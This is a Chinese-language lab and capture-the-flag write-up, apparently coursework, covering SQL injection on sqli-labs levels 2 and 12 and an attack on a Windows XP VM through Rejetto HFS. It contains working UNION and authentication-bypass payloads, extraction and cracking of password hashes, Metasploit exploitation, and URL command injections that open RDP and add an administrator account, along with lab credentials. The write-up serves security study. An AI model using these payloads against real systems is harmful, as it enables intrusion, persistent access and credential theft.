免责声明
以下所有关于黑客技术、病毒攻击、拒绝服务或任何其他计算机系统攻击手段的讲义、资料和讨论内容,仅用于教育目的。这些内容不得用于对任何计算机系统发起攻击或造成损害,也不以任何方式鼓励任何人从事此类行为。
本文所涉及的所有技术讨论仅供学习和研究使用。作者不对任何人使用这些信息用于非法用途负责。阅读本文即表示您同意不会将文中讨论或披露的任何技术手段用于实施网络攻击等违法行为。
本文遵循学术研究和技术交流的目的,拒绝为任何恶意行为提供指导。如有违法使用,使用者需自行承担所有法律责任。
SQL注入练习
Less-2
首先判断是否存在注入点和注入类型:
- 测试
id=1 AND 1=1返回正常结果 - 测试
id=1 AND 1=2 返回空结果
这表明AND后面的条件被当作逻辑表达式执行,而不是字符串,说明这里存在数字型SQL注入漏洞
确定查询结果的列数:
- 使用ORDER BY子句测试
ORDER BY 3执行成功;ORDER BY 4报错
由此可以确定查询结果正好有3列
使用 id=-1 UNION SELECT 1,2,3
-1确保原始查询无结果,只显示注入的结果- 发现数字2显示在"Login name"位置;数字3显示在"Password"位置
提取信息:
- 可以利用MySQL的系统变量和函数来获取信息
- 尝试了多个系统变量如:
@@hostname (获取主机名)
system_user() (系统用户)
user() (当前用户)
@@version_compile_os (操作系统版本)
@@version (数据库版本)
- 通过
id=-1 union select 1,@@hostname,3成功获取到Docker容器的主机名 - 通过
id=-1 union select 1,user(),3获取到当前数据库用户是root@localhost
Less-12
首先进行基础测试,探测应用如何处理用户输入:
- 测试基本登录:
username=admin&password=test - 测试单引号:
username=admin'&password=test' - 测试双引号:
username=admin"&password=test"
发现使用双引号时返回错误信息:
You have an error in your SQL syntax; ... near '"test"") LIMIT 0,1'
这表明: 应该使用双引号包裹字符串
SQL查询可能的结构是:
SELECT * FROM users WHERE username="[输入1]" AND password="[输入2]" LIMIT 0,1
尝试绕过验证:
- 首先测试:
admin" OR "1"="1" --%20 - 发现失败后,根据错误信息推测查询中包含括号
- 改进payload为:
a") OR 1 = 1#成功绕过
确定列数:
- 使用
ORDER BY子句测试:a") OR 1 = 1 ORDER BY 3# - 当测试
ORDER BY 3时报错,而ORDER BY 2正常 - 由此确定表中有2列
获取数据库信息:
- 使用UNION注入:
a") UNION SELECT database(),2# - 成功获取当前数据库名为"security"
- 使用
a") UNION SELECT version(),2#获取版本号为"5.5.44-0ubuntu0.14.04.1"
提取用户密码哈希值
在尝试从数据库中提取密码哈希值时,我遇到了字符集冲突错误。当执行注入:
a") UNION SELECT password, user FROM mysql.user WHERE user='bob'#
系统返回了错误信息:
Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_bin,IMPLICIT) for operation 'UNION'
(非法混合使用字符集,(gbk_chinese_ci,IMPLICIT) 和 (latin1_bin,IMPLICIT) 在 'UNION' 操作中发生冲突)。
这个错误揭示了关于数据库配置的重要信息。它表明原始查询使用的是gbk_chinese_ci字符集(一个中文字符集),而 mysql.user 表中的password 列使用的是latin1_bin字符集。SQL在UNION操作期间无法自动合并具有不兼容字符集的列,导致查询失败。
为了克服这个限制,我修改了注入语句,加入了字符集转换:
a") UNION SELECT CONVERT(password USING gbk), user FROM mysql.user WHERE user='bob'#
其中CONVERT(password USING gbk)函数是这个注入的关键组件,它显式地将password列的字符集转换为gbk,使其与原始查询的字符集兼容。
-
这个修改后的注入成功绕过了字符集冲突,返回了 Bob 的密码哈希值:
*1EBECB846DE003E3FE866D84863DA7831D42AC54 -
同样的技术随后被用来提取 Alice 的密码哈希值,Alice 的密码哈希值是:
*EB7DD3BADB85565FC7EECDA116A2B8D29FC27806
密码破解
提示: Alice的密码在00000000到99999999之间
使用John the Ripper实施了掩码攻击,使用以下命令:
john --format=mysql-sha1 --mask=?d?d?d?d?d?d?d?d alice_john.txt
输出结果是20222023,这就是 Alice 的密码
通过在线工具,Bob密码的哈希值被识别为 SHA1,MySQL4.1/MySQL5。
使用crackstation,结果显示匹配到sqlpass123。
攻击目标虚拟机
信息搜集&漏洞发现
首先,在Kali上使用ifconfig命令找出网络段。我们发现eth0: inet是192.168.232.128。然后我们使用netdiscover -r 192.168.232.0/24来扫描整个网络。
发现了四台机器:
192.168.232.1通常是VMware的虚拟网关,使用nmap进一步确认哪一个是WXP:
nmap -sV -O 192.168.232.130nmap -sV -O 192.168.232.2
192.168.232.2显示为"HKU nameserver",操作系统猜测更倾向于VMware虚拟NAT设备
192.168.232.130运行着典型的Windows服务组合,并且有93%的概率是Windows XP SP2或Windows Server 2003。
因此,推测192.168.232.130更可能是Windows XP目标机器。
目标运行着四个服务:
- 端口80/tcp上的
Apache web服务器(HTTP) - 端口443/tcp上的
Apache web服务器(SSL/HTTP) - 端口3306/tcp上的
MySQL数据库 - 端口58080/tcp上的
HttpFileServer
存在漏洞的服务是运行在端口58080上的Rejetto HTTP File Server (HFS)版本2.3m。这个服务受到两个严重的远程代码执行漏洞影响:
- CVE-2014-6287:此漏洞允许远程攻击者通过发送特制的HTTP请求执行任意代码。
- CVE-2024-23692:这是一个影响Rejetto HTTP File Server(包括2.3m版本在内)的模板注入漏洞。它使远程、未经身份验证的攻击者能够通过特制的HTTP请求在受影响系统上执行任意命令。注意,2.3m版本已不再受供应商支持。
Apache HTTPD 2.4.9和OpenSSL 0.9.8y(端口80和443):
- CVE-2014-0160 (Heartbleed)影响OpenSSL并可能导致敏感数据泄露。
MySQL(端口3306):服务响应"unauthorized",这可能表明配置错误。
- CVE-2012-2122,在某些条件下错误的身份验证可能允许攻击者在没有凭据的情况下访问。
Metasploit建立远程连接
使用sudo msfconsole启动Metasploit,然后搜索HFS相关模块:search rejetto hfs
找到两个匹配的模块:
exploit/windows/http/rejetto_hfs_rce_cve_2024_23692
exploit/windows/http/rejetto_hfs_exec
使用模块开始攻击
-
设置目标IP和端口: set RHOSTS 192.168.75.132 set RPORT 58080
-
开始攻击:
use exploit/windows/http/rejetto_hfs_exec和exploit
攻击成功!
- "Meterpreter session 1 opened"消息确认成功连接到目标(192.168.232.130)
- 会话详情(192.168.232.128:4444 → 192.168.232.130:1792)显示已建立连接
- payload(177734字节)已成功传递到目标系统
Rejetto HFS存在命令注入漏洞,允许通过特制URL执行系统命令。Kali机器的IP地址是192.168.232.128。在浏览器中打开URL:
http://192.168.232.130:58080/?search==%00{.exec|cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f.}
我们无法进入远程桌面的主要原因是防火墙阻止了通信。因此,我们还需要配置Windows防火墙以允许TCP端口3389的入站流量:
http://192.168.232.130:58080/?search==%00{.exec|cmd.exe%20/c%20netsh%20firewall%20add%20portopening%20TCP%203389%20%22RDP%20Port%22.}
使用Zenmap,我们可以再次检查端口3398是否开放:
端口按预期开放,可以进一步将新用户添加到管理员组。这里我们创建了一个名为hacker,密码为password123的用户。
http://192.168.232.130:58080/?search==%00{.exec|cmd.exe /c net user hacker password123 /add.}
然后将用户添加到管理员组:
http://192.168.232.130:58080/?search==%00{.exec|cmd.exe /c net localgroup Adminstrators hacker /add.}
之后,我们可以登录远程桌面:
rdesktop -v -u hacker -p password123 192.168.232.130
夺旗
使用Metasploit进入管理员的桌面:
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit
meterpreter > shell
然后打开桌面并找到flag.txt:QzBtcDc5MDRQQHNzdzByZA==
MySQL的root用户密码是HKUcsDBP@ssword